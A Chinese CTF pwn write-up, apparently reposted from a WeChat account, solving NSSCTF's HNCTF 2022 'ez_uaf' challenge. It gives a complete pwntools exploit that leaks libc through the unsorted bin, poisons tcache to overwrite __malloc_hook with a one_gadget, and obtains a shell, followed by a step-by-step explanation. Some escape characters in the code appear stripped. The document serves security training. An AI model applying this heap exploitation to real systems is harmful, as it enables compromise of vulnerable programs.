题目
平台:NSSCTF
题目:[HNCTF 2022 WEEK4]ez_uaf
考点:unsorted bin泄露libc,64位libc-2.27利用UAF修改malloc_hook
代码
from pwn import *
from LibcSearcher import *
from struct import pack
from ctypes import *
context(log_level = 'debug', arch = 'amd64', os = 'linux')
p = remote('node5.anna.nssctf.cn', 23588)
#p=process('./ez_uaf')
#p = process(['./ld-2.31.so','./pwn'], env = {'LD_PRELOAD' : './libc-2.31.so'})
#p=gdb.debug('./hacknote','b *0x08048939')
elf = ELF('./ez_uaf')
libc=ELF('./libc-2.27.so')
def create(size,name,content):
p.sendlineafter(b"Choice: n", b"1")
p.sendlineafter(b"Size:n", str(size))
p.sendafter(b"Name: n", name)
p.sendafter(b"Content:n", content)
def show(idx):
p.sendlineafter(b"Choice: n", b"3")
p.sendlineafter(b"idx:n", str(idx))
def free(idx):
p.sendlineafter(b"Choice: n", b"2")
p.sendlineafter(b"idx:n", str(idx))
def edit(idx,content):
p.sendlineafter(b"Choice: n", b"4")
p.sendlineafter(b"idx:n", str(idx))
p.send(content)
create(0x410,b'name1111',b'aaaaaaaa')#0
create(0x20,b'name2222',b'bbbbbbbb')#1
free(0)
show(0)
main_arena_add96=u64(p.recvuntil(b'x7f')[-6:].ljust(8,b'x00'))
main_arena = main_arena_add96 - 96
malloc_hook_addr = main_arena-0x10
libc_base = malloc_hook_addr - libc.sym['__malloc_hook']
one_gadget = libc_base + 0x10a2fc
success('one_gadget: '+hex(one_gadget))
free(1)
edit(1,p64(malloc_hook_addr))
create(0x20,b'6666',b'cccccccc')#2
create(0x20,p64(one_gadget),b'bbbb')#3
#坑
p.sendlineafter(b"Choice: n", b"1")
p.sendlineafter(b"Size:n", b'16')
p.interactive()
分析
IDA反编译看到delete堆时未及时指针置0,故存在uaf漏洞
由于libc版本是2.27,为了泄露unsorted bin
中fd和bk指向的main_arena+96
地址,需要先free掉堆块使其进入unsorted bin
-
方法一:先把tcache填满,再free就进到unsorted bin中了 -
方法二:free大堆,直接进入unsorted bin,比如0x410
利用uaf读取fd指针内容,泄露出main_arena+96
的地址,然后减0x10就是malloc_hook
的地址,通过给的libc可以计算出libc基址,从而得到可利用的one_gadget
free掉1号堆,查看bins可以看到添加到0x30的tcache链上
利用uaf,编辑free掉的1号堆,修改其fd指针,使其直接指向malloc_hook
再次malloc两次,可以根据指针把堆块分配到malloc_hook
上,通过create的代码,直接把one_gadget
地址放到Name参数上即可覆盖malloc_hook
注:2.27-tcache的分配不用像fastbin那样对其0x7f的size
再次触发malloc函数即可getshell,注意此处有个坑,不要直接调用自己写的create方法,因为在输入Size
的大小之后源码就有malloc操作,脚本会卡死在等待回显Name
字符串,直接手动触发一半的create即可getshell
原文始发于微信公众号(智佳网络安全):CTF学习-PWN-uaf2
版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。
文章由极客之音整理,本文链接:https://www.bmabk.com/index.php/post/300785.html